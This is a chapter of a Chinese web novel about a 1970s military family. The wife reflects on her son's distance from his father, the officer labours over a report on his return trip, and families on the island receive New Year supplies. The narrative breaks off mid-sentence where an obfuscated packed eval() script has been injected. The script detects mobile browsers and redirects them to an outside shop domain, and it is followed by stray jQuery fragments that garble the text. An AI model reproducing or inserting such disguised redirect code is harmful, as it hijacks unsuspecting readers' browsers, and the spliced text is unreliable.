文趣网 > 都市小说 > 七零年代慢慢过 > 35. 顾长柏返程
    是夜。

    龚燕和宁宁一起躺在床上的时候,就跟宁宁说:“宁宁,如果你想爸爸,你要像今天一样,勇敢表达出来。”

    宁宁嗯了一声,点点头。

    龚燕道:“你今天表现得很棒,过两天爸爸回来,你记得要跟爸爸说啊。”

    龚燕的责任是在宁宁出生后,逐渐树立起来的。

    宁宁出生后,她逐渐开始学会过日子,学会把自己当一个人看,而不是一个成绩好的标志,一个以后一定会被卖出一个好价钱的物件。

    她一边观察宁宁的言行,一边尝试从自己小时候的视角去猜测宁宁的心理状态。她希望宁宁能够勇敢、高兴、独立地活着,也希望宁宁能够感受到爸爸妈妈对他的爱。

    至少,宁宁能知道,妈妈是很爱他的。

    龚燕心里其实怕宁宁和顾长柏不亲,顾长柏每年回长河村探亲一次,但是在宁宁的记忆里却没有多少印象,他只知道自己的爸爸回来过,对这个爸爸的印象还没有大伯的印象深。

    爸爸对他来说就是个模糊的形象,是被村里小孩欺负的时候说出的“我爸爸是军人”,是妈妈嘴里的“军人是要保卫国家的。”

    隐约听起来,是个好话,是伟大的。

    但是为什么就连保护妈妈和他,都做不到呢。

    他还记得自己被长河村的小孩欺负,还记得妈妈被那个叫胜利的叔叔拽倒,还记得妈妈哭。

    为什么伟大的爸爸,当时没有站出来保护他们呢?

    顾长柏此时正在返程,左手摊放着一本字典,右手拿着钢笔,把整个字典翻得哗哗响。

    每次从海上回来,他最头疼的不是海上遇到了什么风浪和危险,而是做海上作业报告。

    当小兵的时候,他虽说在首长夫人那里学过几个字,了解一些文化。

    但那都属于东一锤子西一棒头,没有系统地上过学。

    其实小时候在长河村,他上学上到过五年级,但是那个时候,村里的小孩谁把读书当回事。

    特别是他娘蒋大娘,自从他有力气干活之后就让他上工干活了。

    没有办法,整个家他长得最高,吃的最多。蒋大娘和顾金山经常抱怨他一个顶三,如果再不挣工分,家里真的揭不开锅。

    他还没有开始有敬崇文化的观念的时候,就已经开始吃不饱饭了。

    这种吃不饱饭的危机一直伴随着他,直到他入伍。

    等到他有条件学习的时候,他的时间其实也不怎么够。理论学习,实践拉练,生活工作,哪一项都在分散他的精力。

    正翻着字典呢,旁边的下属开玩笑:“顾副团长抠字眼呢。”

    “去你的。”抠字眼也不能跟他们说啊,总不能说自己有不认识的字又找不到吧,这多不好意思。

    他好歹是个领导,多多少少也是要点面子的。

    下属却嘻嘻笑,悠闲等着回去。

    顾长柏看着这帮人,只觉得欠揍。嘴里不由骂出来:“让你小子笑我,下次材料让你写。”

    他手里一帮糙爷们,写自己的名字都费劲,他只能自己拿起笔杆子写材料,因此一翻字典就脑袋疼。

    下属连忙告饶,又打岔说起早上在海上钓到的海鱼。

    其实海上的财产都是国家的,夜里在船上闲得没事,几个战友就结伴去钓海鱼。

    顾长柏可没有陪他们胡闹的兴致,但是他估摸着家里还有两个嗷嗷待哺的军属,心情立马愉悦,开口:“给我留两条海鱼。”

    一条海鱼可不小,更别说整整两条。

    这可真是稀奇事,顾副团长一向对于这些海货不感兴趣的,今天怎么开这金口了。

    旁边一个副营长趁机敲诈:“两张工业券。”

    这说的是人话吗,顾长柏站起来,一脚踢上去。

    半年手里都没有一张工业券,两条海鱼就要两张工业券。

    而且现在这个年头,都是拿你一张票,换一只鸡一只鸭之类的,谁见过这种主动要的,这不和前些年投机倒把一样了么。

    顾长柏转头见这位副营长嘻嘻笑,脸又一下子板了起来。

    虽说相比于外面,部队里,特别是他们海上作业的部队跟个世外桃源一样,但是该有的政治素养和时代警惕性还是有的。

    这年头这种事情也算是灰色的投机倒把,在他们军人的嘴里怎么能明晃晃说出来。

    这些年部队吸纳的人越来越多,顾长柏有种直觉,不出十年就要减军。

    从哪里减呢,肯定是先从降低军职的开始。

    副营长的级别不高,眼看着就是最容易被转业的一批,还是这么一个一张嘴没把门的。

    “门口站岗两个小时。”顾长柏严肃下来,那个副营长也感受到氛围的不对劲,意识到自己说什么,脸色也白了一下。

    嘻嘻笑的下属们也顿时静若寒蝉。

    他们在时代的洪流中是微不足道的人,但是于家庭于家人而言都是举足轻重的存在。

    任何事情他们都不敢赌,但凡说错话做错事情,可能都是一个军人的性命。

    顾长柏严厉的眼神扫过他们,但并不挑破。

    聪明的人都知道他的意思,不聪明的人只以为他小气,不肯出两张工业券。然而那种不聪明的人,在部队里也待不长久。

    顾长柏垂下头继续翻字典,他写着报告,翻着字典,几乎是字字斟酌,就是怕自己写错词,说错话,这年头,怎么小心都不过分。

    他没有文化,万一写出来的句子里有其他意思,自己还不知道,简直冤枉。

    心里想着这些事,脑子里也跟着转,心想,还是要给这帮下属紧紧皮,不能让他们总在海岛和海上漂着没

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862978|212092||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    实感,还是要让他们多接触岸上的世界。

    否则,自身安全都不能保证,一点风险意识都没有,以后又怎么能照顾到家人呢?

    另一边的岛上,龚燕觉得自己有被照顾到。

    今天家属委员会这样这边到了一批物资,足足好几辆车,刚刚从饱安县那边运过来。

    徐丽娟手里拿着个单子,正看着物资,眼神里全是对冬天屯粮的喜悦:“因为要过年,这两个月的定例是提前发的,怕过年的时候船只运送补给比较困难。”

    郑娜也显得很郑重:“徐姐,我们是今天发下去吗?”

    每年就今天这个时候最为要紧,发下去的物资最多。

    徐丽娟看了好几辆卡车的物资,指挥龚燕和郑娜:“我们先清点清楚吧,等清点结束才能发下去。”

    龚燕刚刚凑在徐丽娟旁边,粗粗看了眼物资单子。

    部队里的每位战士都有供应量,而且都是比较多的。每个战士每个月的供应量几乎都有四十五斤,还有三斤肉和一斤半的油。

    随军的家属也会因此受到照顾。龚燕和宁宁的粮食关系随着顾长柏迁入部队,也就相当于有饱安县的粮油关系。

    饱安县虽然是个小渔村,种植业不是很发达,但是基本的吃穿住行还是挺发达的,供应也够,这生活,比老家长河村的小老百姓可是好了不止一星半点。

    除了基本的战士物资和军属物资以外,还给部队家属送了过年的物资。

    包括每个人一斤菜、半斤肉、三个大的水果罐头。

    海岛上的新鲜蔬菜很少,肉也少,水果罐头也都非常稀罕,几乎让家属委员会的三个干事都很惊喜。

    龚燕看了一眼正在盘点的箱子:“这么多箱黄桃罐头。”

    徐丽娟也笑,她是老军嫂了,纵向对比,很明显今年发的比去年多,眼睛里看水果罐头,就像看孩子似的:“是啊,每家都分三大罐呢,过年时候孩子们都乐疯了。”

    这玩意儿搁家里,大人哪能忍心不先给孩子尝?大过年的,小孩眼巴巴盯着,哪个父母舍得藏着不给?

    罐子一开,满屋都是甜丝丝的味儿。

    过日子的妇女,哪个不期待这样的日子?

    龚燕心里高兴,脸上就不由带了出来。她觉得结婚好,结了婚之后可以自己做饭做主,收拾自己的家也更有劲。

    随军之后更好,部队里的政策好,她在部队里有归属感,房子好,身边五湖四海的军属都很客气,大家每个人都安稳在过自己的小日子。

    她现在虽然是个临时工,但是仍然可以给组织献出一份力量,而不是像她妈石秀芳说的那样,“读了那么多年的书,没什么用。”

    这点一点点的幸福,让她觉得自己不是一个物件,是被社会、被组织、被家庭需要的人,是可以创造出价值的劳动分子。